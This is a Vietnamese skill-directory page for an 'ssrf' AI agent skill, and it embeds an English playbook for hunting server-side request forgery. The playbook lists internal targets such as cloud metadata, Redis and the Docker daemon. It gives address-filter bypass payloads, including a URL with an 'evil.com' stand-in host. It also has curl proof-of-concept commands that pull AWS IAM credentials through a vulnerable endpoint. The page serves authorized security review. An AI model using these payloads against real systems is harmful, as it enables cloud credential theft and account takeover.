Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #13972

ssrf

Skill này làm gì

Skill này là playbook để tìm server-side request forgery, khi ứng dụng bị lừa gửi yêu cầu đến địa chỉ do kẻ tấn công chọn. Skill dành cho lập trình viên và người rà soát kiểm tra mã của chính họ.

Khi nào nên dùng

  • ✓Khi lập trình viên yêu cầu agent kiểm tra xem một URL từ người dùng có được server lấy mà không có giới hạn không.
  • ✓Khi agent rà soát mã gọi địa chỉ metadata đám mây hoặc bảng quản trị nội bộ.
  • ✓Khi một đội cần danh sách các lệnh gọi HTTP client trong từng ngôn ngữ nhận địa chỉ do người dùng cung cấp.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra ứng dụng được ủy quyền của chúng tôi xem người dùng có thể khiến server lấy một địa chỉ nội bộ không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent tìm các lệnh gọi HTTP client, theo dõi đầu vào người dùng đến chúng, và kiểm tra xem ứng dụng có chặn địa chỉ nội bộ và endpoint metadata đám mây không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

SSRF Hunting Playbook

SSRF is one of the highest-yield vuln classes for 0-day work because (a) it's often medium severity in isolation but chains to critical when it reaches cloud metadata, internal admin panels, or unprotected Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass classes that scanners miss.

1. Sources (user-controlled input that becomes a URL)

Look for any parameter that gets fed into an HTTP client:

  • Python: requests.get(user_url), httpx.get, urllib.request.urlopen, aiohttp.get
  • Node: fetch(userUrl), axios.get, http.request, got, node-fetch
  • Java: HttpURLConnection, HttpClient.send, URL.openConnection, OkHttpClient
  • Go: http.Get(u), http.NewRequest, net.Dial("tcp", u)
  • Ruby: Net::HTTP.get, URI.open, Faraday.get
  • PHP: file_get_contents($url), curl_exec, fsockopen

Grep patterns to run via bash:

semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src

2. Sinks that make SSRF worth reporting

Sink Impact
http://169.254.169.254/ (AWS IMDS) IAM role creds → full AWS takeover
http://metadata.google.internal/ GCP service-account token
http://169.254.169.254/metadata/v1/ Azure IMDS
http://127.0.0.1:6379/ (Redis) Unauthenticated RCE via Lua eval / cron
http://127.0.0.1:9200/ Elasticsearch data leak + RCE
http://127.0.0.1:2375/ Docker daemon — container escape
gopher://, dict://, file:// Protocol smuggling (SMTP, memcached)
Internal *.svc.cluster.local Kubernetes service mesh lateral

3. Bypass classes (why scanners miss real bugs)

  1. DNS rebinding — resolve to public first, then 127.0.0.1 on second lookup. Look for caches that don't pin IP across the fetch.
  2. IPv6 literal — [::1], [::ffff:127.0.0.1], [::]
  3. Decimal / octal / hex encoding — 0x7f.0.0.1, 0177.0.0.1, 2130706433
  4. URL parser confusion — http://evil.com@169.254.169.254/, http://169.254.169.254#.evil.com/
  5. IDN unicode tricks — homoglyph domains that normalize to metadata hosts
  6. Redirect chains — allowlist checks the initial URL, not the 302 target
  7. IMDSv2 required — but if the HTTP client sets a Metadata-Token header on redirect, v2 still leaks
  8. 30x → file:// — server follows redirects across protocols

4. Taint audit workflow

  1. Enumerate sources with grep + semgrep (above).
  2. For each hit, follow the data flow manually:
    • Is there a urlparse check? Does it check .hostname (spoofable) or the raw URL (safe)?
    • Is there an IP allowlist check before or after DNS resolution? (Only before-resolution checks are TOCTOU-safe.)
    • Is redirect following disabled? allow_redirects=False in requests.
  3. Each confirmed source-to-sink path → kg_add_node(kind="vulnerability", ...).
  4. Link the vuln to its file+line via a code_location node.

5. PoC template

# AWS IMDSv1 leak — copy to clipboard after confirmation
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → expect role name
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
# → expect {AccessKeyId, SecretAccessKey, Token}

Success patterns for validate_finding:

  • AccessKeyId
  • SecretAccessKey
  • Token.*[A-Za-z0-9+/]{100,}

Negative control:

  • Same request with the URL param blanked or set to https://example.com/
  • Negative patterns: Missing url, 400, example.com

6. Default CVSS for confirmed SSRF

Variant CVSS vector Score
Blind SSRF, external only AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 5.3
SSRF → internal services (no pivot) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 7.5
SSRF → cloud metadata → IAM credential AV:N/AC:L/PR:N/UI:N/S:C/C:H
Câu hỏi thường gặp

Server-side request forgery là gì?

Đó là khi server gửi yêu cầu thay mặt người dùng đến các địa chỉ mà người dùng không được phép truy cập.

Vì sao được coi là có tác động cao?

Skill nói nó có thể đến metadata đám mây hoặc công cụ quản trị nội bộ, có thể làm lộ thông tin đăng nhập.

Skill đề cập những cách vượt qua nào?

Skill nhắc đến DNS rebinding và các thủ thuật khác có thể qua mặt bộ lọc địa chỉ đơn giản.

Chi tiết

Mô tả gốc của tác giả

Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#13972
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự